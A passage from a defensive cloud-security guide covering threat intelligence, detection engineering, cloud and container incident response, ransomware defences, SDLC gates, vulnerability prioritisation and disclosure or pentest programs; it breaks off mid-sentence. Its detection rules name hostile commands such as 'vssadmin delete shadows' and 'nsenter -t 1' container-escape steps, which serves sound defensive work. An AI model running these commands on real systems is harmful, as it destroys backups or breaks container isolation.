   STRUCTURED METHODOLOGY: TaHiTI (Targeted Hunting integrating Threat
   Intelligence -- a published Dutch financial-sector framework, free)
   gives a concrete process for step 1-2 if you want more structure than
   "someone has a hunch."

Threat intelligence — the three levels, and why each matters differently:

   STRATEGIC     high-level trends for LEADERSHIP: "ransomware targeting
     our industry vertical rose 40% this year", informing budget and
     program priorities (Ch 62).
   OPERATIONAL   campaign-level TTPs for HUNTERS and detection engineers:
     "this threat actor cluster is currently using consent-phishing +
     living-off-the-land cloud API abuse for persistence" -- this is what
     feeds hunting hypotheses and Part 1 Ch 2's adversary-emulation
     prioritisation.
   TACTICAL      IOCs (hashes, IPs, domains) for AUTOMATED matching --
     the bottom of the Pyramid of Pain (Ch 51): cheap, useful as a
     short-lived tripwire, NOT a strategy on its own.

The intelligence cycle:

   DIRECTION -> what do we need to know? (set by strategic priorities and
     your actual threat model, G1/Part 1 Ch 4)
   COLLECTION -> commercial feeds, ISACs (sector-specific Information
     Sharing and Analysis Centers -- often free or low-cost and highly
     relevant since members share what's ACTUALLY hitting your peers),
     OSINT, government advisories (CISA alerts, sector-CERT advisories),
     and -- frequently the highest-quality source -- YOUR OWN past
     incidents and hunts.
   PROCESSING -> normalise into a usable format; STIX/TAXII for
     structured sharing between tools/organisations; MISP (a free,
     widely-used open-source threat-intel platform) as a practical way to
     collect, correlate, and share this internally and with peers/ISACs.
   ANALYSIS -> what does this mean FOR US specifically? (raw feed data is
     not intelligence until it's contextualised against your own assets
     and attack surface)
   DISSEMINATION -> to hunters (operational), to detection engineers (as
     new hypotheses), to leadership (strategic summaries), and back into
     Part 1 Ch 2's emulation-prioritisation loop.
   FEEDBACK -> did acting on this intelligence find anything? Refine
     collection priorities accordingly.

Enrichment — intelligence making individual alerts smarter:

   An alert that says "connection to 203.0.113.9" is a fact.
   An alert enriched with threat intel that says "connection to
   203.0.113.9, a known C2 IP for [threat cluster], last seen in a
   campaign targeting [your sector] two weeks ago" is a PRIORITISED,
   ACTIONABLE alert. This enrichment step (Ch 52's pipeline) is where
   tactical intelligence earns its keep on a day-to-day basis, distinct
   from the strategic/operational levels' role in shaping hunts and
   priorities.

How it works

The method — this is the whole chapter's idea in one paragraph: for every edge in a critical attack path (Part 1 Ch 1), ask "what would this specific step look like in our telemetry (Ch 52), and do we have a detection for it (Ch 51)?" Do this systematically across the paths you've already found in this guide's own labs, and you get a detection backlog that is, by construction, aligned to your actual, demonstrated risk rather than a generic checklist.

Cloud privilege-escalation and credential-theft detections (Part 2):

   IMDS CREDENTIAL THEFT (Part 2 Ch 10's lab)
     - a role's SESSION CREDENTIALS used from a sourceIPAddress outside
       your known VPC/NAT ranges (Part 2 Ch 5's worked example) --
       fastest-signal version of this detection; don't wait for the
       vendor's own finding (GuardDuty et al.) which can lag.
     - IMDSv1 GET requests to the metadata service from a workload (if
       your environment should be IMDSv2-only, ANY v1 usage is itself an
       anomaly worth alerting on, not just successful theft).
   IAM PRIVILEGE ESCALATION (Part 2 Ch 6)
     - the Sigma rule pattern from Ch 51: CreatePolicyVersion +
       SetDefaultPolicyVersion in a short window by a non-admin principal.
     - iam:PassRole immediately followed by a compute-creation call
       (RunInstances, CreateFunction, ...) where the passed role's
       privilege level exceeds the calling principal's own -- this
       DIRECTLY encodes the Ch 6 primitive as a detection.
     - AttachUserPolicy/AttachRolePolicy/PutUserPolicy/AddUserToGroup by
       any principal outside your designated IAM-admin group.
   ORG/GUARDRAIL TAMPERING (Part 2 Ch 7)
     - any attempt to modify an SCP, disable CloudTrail, or leave the
       organisation -- these should be RARE, HIGH-SEVERITY, and, per
       Ch 7's guardrails, mostly PREVENTED outright; any attempt (even a
       denied one) is worth alerting on as reconnaissance/intent.

Kubernetes and container detections (Part 4):

   RBAC ESCALATION (Part 4 Ch 17's lab) -- Kubernetes AUDIT LOG based:
     - `pods.create` (or any workload-kind create) where
       `requestObject.spec.serviceAccountName` differs from the creating
       identity's OWN typical/default SA and isn't the recognised CI/CD
       deploy identity (Ch 51's worked example, in full).
     - `clusterrolebindings.create` or `rolebindings.create` granting
       `cluster-admin` (or any binding to a highly-privileged role)
       outside a recognised platform-team change window.
     - use of the `escalate`, `bind`, or `impersonate` verbs by any
       identity -- these are RARE in legitimate operation; near-zero
       false-positive tolerance justified.
   CONTAINER ESCAPE (Part 4 Ch 15/22's labs) -- RUNTIME telemetry (Falco/
     Tetragon):
     - the specific escape-attempt rule from Part 4 Ch 20 (nsenter -t 1,
       release_agent writes, cgroup mount attempts) -- reuse it directly.
     - a shell spawned in a container using a DISTROLESS/no-shell image
       (Part 4 Ch 20) -- should be a NEAR-IMPOSSIBLE event and therefore
       maximally high-confidence when it occurs.
   ADMISSION/WEBHOOK TAMPERING (Part 4 Ch 16)
     - any create/update of a ValidatingWebhookConfiguration or
       MutatingWebhookConfiguration outside a recognised deployment
       pipeline.

Supply-chain and pipeline detections (Part 3):

   OIDC TRUST ABUSE (Part 3 Ch 12) -- cloud-side: a role assumption via
     the CI OIDC provider where the `sub` claim doesn't match the exact
     expected repo+ref/environment pattern (this should be PREVENTED by
     the trust policy itself, per Ch 12 -- but alert on any attempted
     assumption that the trust policy rejects, as reconnaissance signal).
   UNSIGNED/WRONG-IDENTITY IMAGE ADMISSION ATTEMPTS (Part 3 Ch 13) -- the
     Kyverno/Sigstore admission DENIAL events themselves are a detection
     source: a pattern of denied deployments from an unexpected registry
     path or identity is worth alerting on as a possible compromise
     attempt against the pipeline, not just a routine policy rejection.
   WORKFLOW FILE CHANGES on protected branches (Part 3 Ch 12) -- CI
     platform audit log: any change to `.github/workflows/**` (or your
     platform's equivalent) merged without the required CODEOWNERS
     review.

Web/API attack-path detections (Part 6):

   REQUEST SMUGGLING / DESYNC ATTEMPTS (Part 6 Ch 30) -- WAF/proxy-layer
     logs: requests with BOTH Content-Length and Transfer-Encoding
     headers, or malformed/obfuscated Transfer-Encoding values -- these
     should be RARE from legitimate clients and are a strong signal on
     their own.
   RACE-CONDITION EXPLOITATION ATTEMPTS (Part 6 Ch 35) -- application-
     layer: a burst of near-simultaneous identical requests (same
     idempotency-relevant parameters, e.g. the same gift-card code or
     order ID) from the same session/IP within a sub-second window.
   OAUTH/SAML ATTACK PATTERNS (Part 6 Ch 39) -- IdP and application logs:
     multiple OAuth token exchanges with mismatched `aud`/`iss` rejected
     in a short window (mix-up attempt signature); SAML responses failing
     signature-reference validation (an XSW attempt signature, distinct
     from routine signature failures caused by clock skew -- tune
     carefully).

The prioritisation rule: don't try to build all of these at once. Rank by the SAME formula as Part 1 Ch 1's path-risk scoring — reachability, feasibility, value of the goal, and (now, explicitly) the INVERSE of your current detection coverage. A critical, highly-reachable path with ZERO detection today outranks a merely-plausible path that already has partial coverage.

How it works

"Isolate, don't terminate" — the central adjustment for ephemeral compute:

   The instinct to "kill it" is usually WRONG in cloud/container IR,
   because it destroys evidence AND doesn't stop a credential's blast
   radius (below). The pattern:
     CLOUD INSTANCE: don't terminate. Instead: detach it from the load
       balancer/auto-scaling group (so it stops serving traffic and
       won't be auto-replaced mid-investigation), snapshot the EBS
       volume(s) WITHOUT stopping the instance where your platform
       supports it, attempt memory acquisition if feasible (a LiME
       capture on Linux, or a hypervisor-level memory snapshot if your
       platform offers one), tag it clearly as "under investigation" so
       automation doesn't reap it, THEN isolate its network access
       (a quarantine security group allowing only your forensics
       tooling).
     KUBERNETES POD: `kubectl cordon` the NODE (stops new pods scheduling
       there, doesn't touch the running one). Do NOT delete the pod.
       Apply a QUARANTINE NetworkPolicy (deny all except a forensics
       egress) via a label selector rather than deleting/recreating.
       Extract logs and, where your CRI/kernel supports checkpointing
       (CRIU-based), a CONTAINER CHECKPOINT before any termination.
       `kubectl debug` can attach an ephemeral debug container sharing
       the target pod's process namespace for LIVE triage without
       modifying the compromised container itself.
     ONLY AFTER evidence capture: terminate/delete and REBUILD from a
       known-good image (Part 3's paved-road pipeline) rather than
       "cleaning" the compromised instance/container in place -- you
       cannot be confident you found every persistence mechanism by
       inspection alone (G1 Ch 51's eradication principle, doubly true
       here where rebuild is cheap and fast).

Credential blast-radius containment — the cloud-specific version of "reset the password":

   A traditional IR reflex ("reset the compromised account's password")
   doesn't map cleanly to cloud identity, because:
     - an ACTIVE STS SESSION (Part 2 Ch 5) keeps working until it expires
       on its own -- there is no direct "kill this session" API in most
       clouds. The practical response: attach an EXPLICIT DENY inline
       policy to the underlying role/user IMMEDIATELY (Part 2 Ch 6's
       policy-evaluation rule: an explicit deny wins over everything,
       instantly, for all NEW calls even mid-session) while you
       investigate; this doesn't retroactively undo anything already
       done, but it stops FURTHER action within seconds, faster than
       waiting for a full credential rotation to propagate.
     - a WORKLOAD IDENTITY (IRSA/Workload Identity/SPIFFE SVID, Part 4
       Ch 20 / Part 5 Ch 23) is short-lived by design (a genuine security
       win from those chapters) -- but if the underlying TRUST (the OIDC
       provider config, the SPIRE registration entry) is what's
       compromised rather than one session, you must revoke/rotate the
       TRUST relationship itself, not just wait for one token to expire.
     - a SINGLE SSRF or RCE can expose a role usable against DOZENS of
       resources (Part 2's attack-path chapters) -- credential
       containment in cloud IR is therefore often BROADER in blast-radius
       terms than a traditional single-account compromise, and the
       explicit-deny-first, investigate-second pattern exists specifically
       because full, careful remediation takes longer than the exposure
       window can safely tolerate.
   AFTER containment: fully rotate/replace the underlying credential
   material, review and fix the trust/permission misconfiguration that
   allowed the exposure (Part 2 Ch 6, Part 3 Ch 12), and only then remove
   the emergency deny policy.

Cloud-native forensic evidence sources (recap and prioritise):

   PRIMARY TIMELINE: CloudTrail / Cloud Audit Logs / Kubernetes audit
     logs (Ch 52) -- usually your fastest, richest source, IF retention
     was adequate (Ch 52's dwell-time argument, made concrete: this is
     exactly the evidence that ages out if retention is too short).
   ENCRYPTION CONTEXT on KMS Decrypt calls (Part 7 Ch 44's worked
     example) -- lets you scope EXACTLY which records were accessed
     during a compromise window, not just "the key was used."
   RUNTIME TELEMETRY: Falco/Tetragon event history (Part 4 Ch 20) for
     container-level process/syscall evidence.
   VPC FLOW LOGS: network-level corroboration of what a compromised
     workload actually connected to, cross-referenced against the
     control-plane timeline.
   IMMUTABLE SNAPSHOTS: EBS/disk snapshots taken during isolation
     (above), hashed and stored with chain-of-custody records exactly as
     G1 Ch 51 describes, just applied to cloud storage objects instead of
     physical drives.

IR automation / SOAR — necessary because cloud/container compromise moves faster than a human on-call can react to manually:

   Security Orchestration, Automation and Response platforms (Tines, Torq,
   Palo Alto XSOAR) or cloud-native automation (a high-confidence
   GuardDuty/Security Hub finding triggering a Lambda/Cloud Function that
   automatically attaches the quarantine policy, cordons the node, or
   snapshots the volume) let CONTAINMENT happen in seconds instead of
   whatever your on-call's pager-to-keyboard latency is.
   THE TRADE-OFF: gate fully-automated, DESTRUCTIVE or DISRUPTIVE actions
   (isolating a production credential, cordoning a node serving live
   traffic) behind HIGH-CONFIDENCE detections only (Ch 51's precision
   metric matters enormously here -- a false positive that auto-isolates
   a production payment role is itself an incident). For ambiguous or
   lower-confidence findings, automate the INVESTIGATION step (gather
   evidence, open a ticket, page someone) but keep a human in the loop
   for the containment DECISION.

Cross-account/cross-cluster coordination: Part 2 Ch 7's multi-account structure puts your IR tooling and centralised, tamper-resistant logs in the dedicated security account — investigations that span multiple workload accounts or clusters are coordinated FROM there, which is exactly why that account's own access (Ch 49) must be the most tightly governed of all.

How it works

The modern ransomware kill chain (know this to know where to intervene):

   1. INITIAL ACCESS   phishing, an exposed RDP/VPN endpoint, an
      exploited unpatched vulnerability, or -- increasingly -- buying
      already-compromised access from an INITIAL ACCESS BROKER (a
      distinct criminal specialisation: they get in, then sell the
      foothold to a ransomware operator).
   2. EXECUTION, DISCOVERY, LATERAL MOVEMENT   often "LIVING OFF THE
      LAND" -- using legitimate admin tools already present (PsExec, WMI,
      RDP, PowerShell, or, in cloud environments, the cloud's OWN APIs)
      rather than custom malware, specifically to blend in with normal
      administrative activity and evade tools looking for "malware."
   3. PRIVILEGE ESCALATION   the target is usually DOMAIN ADMIN
      (on-prem) or CLOUD-ADMIN-EQUIVALENT (Part 2 Ch 6's privesc
      primitives, in the wild) -- broad reach is what makes mass
      encryption possible.
   4. DISABLE DEFENSES AND BACKUPS FIRST -- a hallmark, not an
      afterthought: deleting Volume Shadow Copies (`vssadmin delete
      shadows`), targeting and destroying/encrypting BACKUP SERVERS
      specifically (often before touching production, precisely because
      backups are the recovery path they need to remove), disabling
      EDR/antivirus, and disabling logging -- this stage is a
      DETECTION OPPORTUNITY (below) because it's distinctive and rarely
      has a legitimate explanation.
   5. STAGE AND EXFILTRATE (double extortion) -- steal data BEFORE
      encrypting, so even a successful restore-from-backup doesn't
      remove the leverage: "pay or we publish/sell what we already
      took", independent of whether you can recover operationally.
   6. ENCRYPT AT SCALE, drop the ransom note, begin negotiation
      (sometimes via a dedicated leak-site countdown for double-extortion
      pressure).

Defences mapped to each stage (this guide's controls, applied specifically):

   STAGE 1 (initial access): MFA everywhere, especially VPN/RDP (G1
     Ch 46); patch exposed remote-access services promptly (G1 Ch 47's
     vulnerability-management discipline); phishing-resistant auth
     (WebAuthn/passkeys, G1 Ch 46) for anything reachable from the
     internet.
   STAGE 2 (lateral movement): SEGMENTATION specifically limits how far
     ONE compromised endpoint reaches (G1 Ch 39, Part 4's NetworkPolicy/
     multi-tenancy) -- the single highest-leverage architectural control
     against ransomware SPREAD, independent of how the initial foothold
     happened. Monitor/restrict living-off-the-land tool usage (PsExec,
     WMI, unusual PowerShell) heavily, since blocking it entirely often
     breaks legitimate admin work.
   STAGE 3 (privilege escalation): every control from Part 2 Ch 6 and
     Ch 63 (enterprise identity) -- PAM, no standing admin, JIT elevation
     (Part 7 Ch 49) -- directly reduces how far ONE compromised account
     reaches.
   STAGE 4 (disabling defenses/backups) -- THE KEY DETECTION OPPORTUNITY:
     [ ] shadow-copy deletion commands (`vssadmin delete shadows`,
         `wmic shadowcopy delete`) -- near-zero legitimate frequency,
         extremely high-confidence detection.
     [ ] backup-agent SERVICE STOPS or backup-server authentication
         anomalies -- backups being specifically targeted is itself the
         signal, independent of encryption having started yet.
     [ ] EDR/logging AGENT TAMPERING OR UNINSTALL events.
     [ ] MASS FILE MODIFICATION/RENAME RATE anomalies -- a "ransomware
         canary": a HONEYFILE (a decoy file placed specifically to be an
         early tripwire) that alerts THE INSTANT it's touched, renamed,
         or its extension changes, giving you a chance to isolate before
         mass encryption completes across the estate.
     A detection firing at STAGE 4 is your last chance to intervene
     BEFORE stage 6's damage -- this is why these specific,
     distinctively-abnormal behaviours deserve dedicated, high-priority
     detections (Ch 51) even though they're "late" in the kill chain.
   STAGE 5/6 (exfil/encryption): by this point, resilience is about
     RECOVERY, not prevention -- which is why backups are this
     chapter's central architectural control.

Immutable, resilient backups — the "3-2-1-1-0" rule:

   3 copies of your data (the original plus two backups)
   2 different media/storage types (reduces correlated failure)
   1 copy OFFSITE (a regional/facility disaster doesn't take everything)
   1 copy IMMUTABLE or OFFLINE/AIR-GAPPED (this is the ransomware-
     specific addition to the classic "3-2-1" rule) -- Object Lock/WORM
     storage (G1 Ch 49, Part 2 Ch 9) where even an account with delete
     permissions CANNOT remove or modify the backup within its retention
     window, or a genuinely offline/logically-air-gapped copy the
     ransomware's network-based reach cannot touch at all.
   0 errors -- VERIFIED by actual TEST RESTORES on a schedule. An
   unverified backup is a hope, not a control -- test restoring from it
   regularly, and specifically test the IMMUTABLE copy, since it's the
   one you'll actually need if the ransomware operator specifically
   targeted your other backups per stage 4.

The pay/no-pay decision — genuinely disputed, know the factors:

   Simplified: this decision involves legal, insurance, law-enforcement,
   and executive stakeholders, not a unilateral engineering call --
   engineering's job is to have done the recovery-architecture work
   (above) so the decision is made from STRENGTH (a real recovery option
   exists) rather than DESPERATION (paying is the only path back to
   operating).
   FACTORS:
     - LEGALITY: paying certain SANCTIONED groups/jurisdictions can
       itself be illegal in some countries (in the US, OFAC has issued
       advisories on this) -- legal counsel must be involved before any
       payment consideration, not after.
     - PAYING DOES NOT GUARANTEE a working decryptor, and does NOT
       guarantee exfiltrated data won't be leaked/sold anyway --
       "double extortion" specifically exists to make payment less
       reliably protective even when technically "successful."
     - LAW ENFORCEMENT ENGAGEMENT (FBI/CISA or your national equivalent)
       is generally recommended regardless of the pay decision -- they
       may hold decryption keys from prior investigations of the same
       group, and reporting improves collective intelligence (Ch 53).
     - Debated: the business-continuity cost-benefit math (downside of
       extended downtime and rebuild cost vs the ransom amount) is a real
       consideration organisations weigh, but it also NORMALISES paying,
       which funds and incentivises the criminal ecosystem targeting the
       NEXT victim -- there is no consensus position, and this guide
       takes none; know the factors and ensure the RIGHT PEOPLE (not
       just engineering) make the call, informed by the actual recovery
       options your architecture provides.

Recovery, and the second-encryption trap:

   REBUILD from known-good IaC/images (Part 3's paved road) rather than
   restoring a "cleaned" compromised system -- you cannot be confident
   you found every persistence mechanism (Ch 55's rebuild principle,
   at maximum stakes here).
   STAGED REINTRODUCTION to the network with heightened monitoring --
   attackers FREQUENTLY retain a SECOND, less-obvious foothold and
   RE-ENCRYPT organisations that restore without thoroughly verifying
   eradication (G1 Ch 51's eradication phase, and this is the single
   most costly place to shortcut it). Confirm the INITIAL ACCESS vector
   itself is actually closed, not just that this round's encryption
   payload is gone.
   THE RECOVERY-TIME MATH: this is exactly why the immutable-backup
   investment (above) pays for itself -- restoring from a VERIFIED,
   TESTED, immutable backup after confirmed eradication is measured in
   hours to days; discovering your backups were ALSO encrypted because
   stage 4 succeeded against them is measured in weeks and sometimes
   ends the organisation.

How it works

Security requirements and design review — the earliest, cheapest gate:

   Every new feature/service of meaningful size gets a LIGHTWEIGHT
   security touchpoint at design time, tied directly to Part 1 Ch 4's
   tiered threat-modeling practice:
     - a "security notes" section in the design doc (Tier 0, always)
     - for new services or significant changes: the Tier 1 threat-model
       session, PLUS an explicit target on the OWASP APPLICATION SECURITY
       VERIFICATION STANDARD (ASVS):
         ASVS Level 1  baseline, every application, achievable by
                       following secure-coding standards alone.
         ASVS Level 2  applications handling sensitive data (Part 7's
                       RESTRICTED tier) -- most business applications
                       should target this.
         ASVS Level 3  high-value/critical systems (payments, auth
                       infrastructure, the IdP from Ch 63) -- the highest
                       bar, reserved for what actually needs it.
   This turns "is this secure enough" from a vague question into "which
   ASVS level does this system need, and does it meet it" -- a checklist
   the design-review gate can actually verify.

The pipeline gates (mapping this guide's tools onto the SDLC, end to end):

   PRE-COMMIT    secret scanning (G1 Ch 49) as a git hook -- catches the
                 cheapest mistakes before they even reach a PR.
   PULL REQUEST  SAST (static analysis: Semgrep, CodeQL, SonarQube) --
                 PR-blocking for HIGH-CONFIDENCE rules only (a noisy SAST
                 gate that blocks merges on low-confidence findings trains
                 engineers to bypass or ignore it); SCA (G1 Ch 47) for
                 dependency vulnerabilities; IaC scanning + policy-as-code
                 (Part 3 Ch 11) for infrastructure changes.
   PRE-DEPLOY    DAST (dynamic analysis against a running staging
                 instance -- OWASP ZAP, or a commercial scanner) catches
                 what static analysis structurally can't (runtime
                 behaviour, auth/session issues, some of Part 6's classes);
                 container/image scanning and signature verification
                 (Part 3 Ch 13); a final policy-as-code admission gate.
   POST-DEPLOY   runtime detection and monitoring (Part 8) catches what
                 every earlier gate missed -- this is "shift right"
                 completing what "shift left" started, not a separate
                 concern.
   IAST (interactive application security testing -- an instrumented
   agent inside the running app during QA/testing, e.g. Contrast
   Security) sits between SAST and DAST: it gets DAST's real-runtime
   accuracy with SAST's code-level context (exact line, exact data flow),
   at the cost of requiring the instrumentation to be present. Adopt where
   the cost is justified; it's not universally necessary if your SAST+DAST
   combination already gives adequate coverage.
   FUZZING for parsers and other complex input-handling code (anything
   from Part 6's file-upload and deserialization chapters, or a custom
   binary protocol) -- continuous fuzzing (OSS-Fuzz if you're open source;
   libFuzzer/AFL++ integrated into CI otherwise) finds the inputs a human
   reviewer would never think to try, and is the practical answer to G1's
   "formal methods, fuzzing" honest gap for the specific, high-value case
   of parsing untrusted input.

Shift left AND shift right — not a choice between them:

   SHIFT LEFT   catch issues as early as possible (design, code, PR) --
     cheaper to fix, faster feedback loop, prevents the issue from ever
     reaching production.
   SHIFT RIGHT   observe and detect in production (Part 8) -- catches
     what shift-left inevitably misses (every static/dynamic tool has
     blind spots; new attack techniques emerge after your tooling was
     configured; some issues only manifest under real production
     conditions/load/data).
   A mature program runs BOTH continuously and feeds findings from
   shift-right (a real production detection, Part 8 Ch 54) BACK into
   shift-left (a new SAST rule, a new design-review checklist item) --
   the same feedback loop as Ch 53's hunting-to-detection pipeline,
   applied to the whole SDLC.

Security champions — the multiplier that makes this scale:

   ONE trained champion per engineering team, NOT a separate role -- an
   engineer who already knows the team's codebase, given extra security
   training and a standing responsibility: first-pass review of security
   findings for their team, a conduit for the central security team's
   guidance, and often the fastest path to fixing something because they
   already have the context and the trust of their teammates.
   Run a regular (monthly is common) champions sync: share new threats
   relevant to what teams are building, review recent findings across the
   org, and let champions raise what THEIR team is struggling with -- this
   is where a central, necessarily-small security team's expertise
   actually reaches every team, rather than bottlenecking on a handful of
   people who cannot review every PR across the whole organisation.

Security debt — findings are backlog items, not a parallel universe:

   A security finding that isn't tracked in the SAME system engineers use
   for every other kind of work (the normal issue tracker, with the same
   prioritisation and sprint-planning visibility) gets silently
   deprioritised forever. Treat security findings exactly like any other
   defect: triaged, assigned an SLA by risk (Ch 59), tracked to closure,
   and visible in the same dashboards leadership already looks at
   (Ch 62) -- a SEPARATE "security backlog" that nobody outside security
   ever sees is where security debt goes to die.

How it works

Why CVSS alone isn't enough:

   CVSS (Common Vulnerability Scoring System, G1 Ch 48) measures SEVERITY
   IF EXPLOITED -- it says nothing about the PROBABILITY that a given CVE
   is actually being exploited anywhere, by anyone, right now. A CVSS 9.8
   vulnerability with no known exploit and no realistic attack path in
   your environment is, in practice, often lower priority than a CVSS 7.0
   vulnerability under active, widespread exploitation.

EPSS — the probability layer CVSS is missing:

   The Exploit Prediction Scoring System (FIRST.org, the same body that
   maintains CVSS) publishes a DAILY-UPDATED score (0 to 1) for every CVE:
   the estimated PROBABILITY it will be exploited in the wild in the next
   30 days, trained on real-world signals (exploit-code availability,
   scanning/attack telemetry, discussion activity). It's a genuinely
   different axis from CVSS, not a replacement for it -- CVSS says "how
   bad if it happens", EPSS says "how likely is it to happen".

CISA KEV — the strongest signal of all, because it's not probabilistic:

   The Known Exploited Vulnerabilities catalog lists CVEs with CONFIRMED,
   OBSERVED exploitation in the wild -- not predicted, not theoretical.
   US federal civilian agencies are REQUIRED (Binding Operational
   Directive 22-01) to remediate KEV-listed vulnerabilities by a
   published deadline, but the catalog itself is free and useful for any
   organisation: a CVE appearing in KEV should, almost without exception,
   jump to the front of your queue regardless of its CVSS score.

Reachability analysis — cutting the noise that CVSS/EPSS can't:

   A CVE in a dependency you've pulled in TRANSITIVELY (G1 Ch 47) may sit
   in a function your code NEVER ACTUALLY CALLS. Modern SCA tooling
   (reachability-aware scanners -- several major SCA products now offer
   this, alongside open tooling like call-graph-based analysis) can
   determine whether the vulnerable CODE PATH is reachable from your
   application's own entry points. An UNREACHABLE critical CVE is a much
   lower operational priority than a REACHABLE medium one -- this single
   filter routinely eliminates a large fraction of a typical SCA
   finding backlog with no actual risk reduction lost.

The prioritisation formula, combining all four signals plus asset context:

   priority ~ CVSS (severity)
            x EPSS (likelihood of exploitation)
            x reachability (is the vulnerable path actually exercised?)
            x exposure (internet-facing vs internal-only, Part 2's
                        network architecture makes this answerable
                        precisely)
            x asset criticality (Part 7 Ch 41's classification tier --
                        a finding on a crown-jewel system outranks the
                        same finding on a low-value internal tool)
   A CVE that is KEV-listed short-circuits this formula entirely --
   treat KEV membership as an automatic top-priority regardless of the
   other factors' product, because "confirmed exploited in the wild" is
   qualitatively different information from every predictive/contextual
   signal above it.

SLAs set by risk tier, not by CVSS alone:

   Example tiering (adapt the specific windows to your risk tolerance):
     KEV-listed, OR (internet-facing AND reachable AND high EPSS)
       -> 24-48 hours
     high CVSS, reachable, internet-facing, moderate EPSS
       -> 7 days
     high CVSS but unreachable OR internal-only OR low EPSS
       -> next regular patch cycle (e.g. 30-90 days) or batched with the
          next planned dependency update
     low CVSS, unreachable, internal, low EPSS
       -> track, don't actively chase; revisit if any input signal
          changes (a KEV addition, a reachability change from new code)
   SLAs tied to a formula like this, rather than "CVSS >= 7 means 7
   days" applied uniformly, are both MORE responsive to real risk (KEV
   items move faster than a blanket policy would allow) and LESS wasteful
   (unreachable/internal/unlikely findings don't consume the same urgent
   capacity).

The risk-acceptance process, for when SLA genuinely can't be met:

   Not every finding can or should be fixed by its SLA -- a legacy
   dependency with no available patch, a fix requiring a larger
   architectural change than the timeline allows. The answer is the SAME
   documented exception process as Part 1 Ch 4's threat-modeling
   "accept" decision: written, with an OWNER, an EXPIRY/review date, and
   VISIBLE to someone accountable (not a private note in a ticket nobody
   reviews) -- an unfixed finding with a documented, expiring acceptance
   is a managed risk; an unfixed finding silently ignored is unmanaged
   risk wearing a disguise.

The "10,000 findings" problem, practically:

   [ ] AUTO-CLOSE (or de-prioritise into a low-touch backlog) findings
       that are simultaneously unreachable, low-EPSS, not KEV-listed, and
       internal-only -- reviewed periodically as a batch, not individually.
   [ ] BATCH BY ROOT CAUSE: one dependency version bump can resolve
       dozens or hundreds of individual CVE tickets at once -- track and
       communicate progress at the "upgrade X to version Y" level, not
       the individual-CVE-ticket level, wherever that's the actual fix.
   [ ] DASHBOARD BY TEAM/SERVICE/ASSET-CRITICALITY, not a single
       org-wide raw count -- a rising total count is not itself
       informative (it rises simply because you scan more surface over
       time); trend SLA-compliance percentage and KEV/high-EPSS-item
       age instead.
   [ ] Tools built for this specifically: DefectDojo and OWASP
       Dependency-Track (both open source) ingest findings from many
       scanners, support reachability and policy-based triage, and are
       designed around exactly this "manage thousands of findings by risk,
       not by raw list" workflow.

How it works

A Vulnerability Disclosure Program (VDP) — the free, foundational baseline every organisation should have:

   A VDP is a published policy telling security researchers: here's how
   to report a vulnerability to us, here's our scope, and here's our
   promise not to pursue legal action against GOOD-FAITH reports made
   within that scope (a "safe harbor" clause -- this is the legal
   protection G1 Ch 0.6's "responsible disclosure" advice depends on
   existing on the RECEIVING end).
   MECHANICS:
     - a `/.well-known/security.txt` file (RFC 9116) pointing researchers
       to your policy and a contact channel -- the single cheapest,
       highest-leverage thing an organisation with NO offensive-security
       budget at all can do TODAY.
     - published disclosure/handling standards to model the policy on:
       ISO/IEC 29147 (vulnerability disclosure) and 30111 (vulnerability
       handling processes).
     - NO bounty payment required -- a VDP's value is the safe-harbor
       legal clarity and the channel itself, not compensation; you can
       add a bounty later (below) once the program is mature enough to
       handle the volume and triage load.
   A VDP is APPROPRIATE FOR EVERY ORGANISATION, immediately, regardless
   of security program maturity -- there is essentially no reason not to
   have one.

Bug bounty programs — paid, scoped, and a real triage commitment:

   Once a VDP is running smoothly (reports are being triaged promptly,
   findings are flowing into the vulnerability-management pipeline,
   Ch 59), a PAID bounty program is the natural next step:
     PLATFORMS: HackerOne, Bugcrowd, Intigriti (managed triage support,
       a built-in researcher community) vs self-hosted (more control,
       no platform fee, but you own 100% of the triage load).
     PROGRESSION: PRIVATE/invite-only (a small, vetted researcher pool,
       lower volume, good for testing your triage process before going
       wider) -> PUBLIC (anyone can participate, much higher volume and
       coverage, requires a mature, well-resourced triage function).
     SCOPE: precisely defined in/out-of-scope assets and vulnerability
       classes -- an ambiguous scope produces both wasted researcher
       effort and disputes over reward eligibility.
     REWARD TIERS by severity (using the same CVSS/impact framing as the
       rest of your vulnerability-management practice, Ch 59, so bounty
       findings integrate into the same prioritisation, not a parallel
       scale).
     THE REAL COST IS TRIAGE, not the bounty payouts themselves --
       under-resourcing the team that reviews incoming reports leads to
       slow response times, frustrated researchers, public criticism, and
       eventually researchers deprioritising your program in favour of
       ones that respond faster. Budget for triage capacity BEFORE
       launching, especially before going public.
     DUPLICATE MANAGEMENT and avoiding TRIAGE BURNOUT are real, ongoing
       operational concerns at any meaningful volume -- most platforms
       provide tooling for deduplication, but the human triage judgment
       calls (is this a legitimate duplicate? does this report actually
       demonstrate impact?) don't fully automate away.

Penetration tests — scoped, time-boxed, methodology-driven:

   SCOPING: black-box (no information given, closest to a real external
     attacker's starting position), grey-box (some information/limited
     access, most common and often most cost-effective -- avoids wasting
     expensive tester time on pure reconnaissance you could have just
     told them), white-box (full source/architecture access, deepest
     coverage per hour, best for complex or high-value targets).
   SELECTING A VENDOR: relevant certifications (OSCP/OSCE/CREST or
     equivalent for the testers actually assigned, not just the firm's
     marketing), a published or requestable METHODOLOGY (PTES -- the
     Penetration Testing Execution Standard, or OWASP WSTG for web-
     specific engagements) rather than "trust us", and REFERENCES from
     past clients in your industry/stack.
   RULES OF ENGAGEMENT: a written document -- scope, timing/blackout
     windows, emergency contact and stop-work procedure, what's explicitly
     OUT of scope (e.g. no destructive testing against production without
     separate, explicit sign-off), and legal authorisation (this is
     exactly the "written permission" G1 Ch 0.6 requires for any offensive
     activity, formalised as a contract).
   THE REPORT AND WHAT HAPPENS NEXT: a pentest report that sits in a
     shared drive unread is money wasted. Every finding goes into the
     SAME vulnerability-management pipeline (Ch 59) with the SAME
     prioritisation and SLA discipline as any other source, and a
     RE-TEST (often included in the engagement, or a cheap follow-up) is
     how you PROVE remediation rather than assuming the fix worked.

Red team engagements — objective-based, testing detection and response, not just finding vulnerabilities:

   DIFFERENCE FROM A PENTEST: a pentest asks "how many vulnerabilities
   can you find in this scope, in this time-box?" A red team engagement
   asks "can you achieve THIS SPECIFIC OBJECTIVE (e.g. reach the
   per-tenant KMS keys, Part 7 Ch 44, or exfiltrate a sample of
   RESTRICTED customer data) WITHOUT BEING DETECTED, and if you are
   detected, how did our response actually go?" -- it tests PEOPLE and
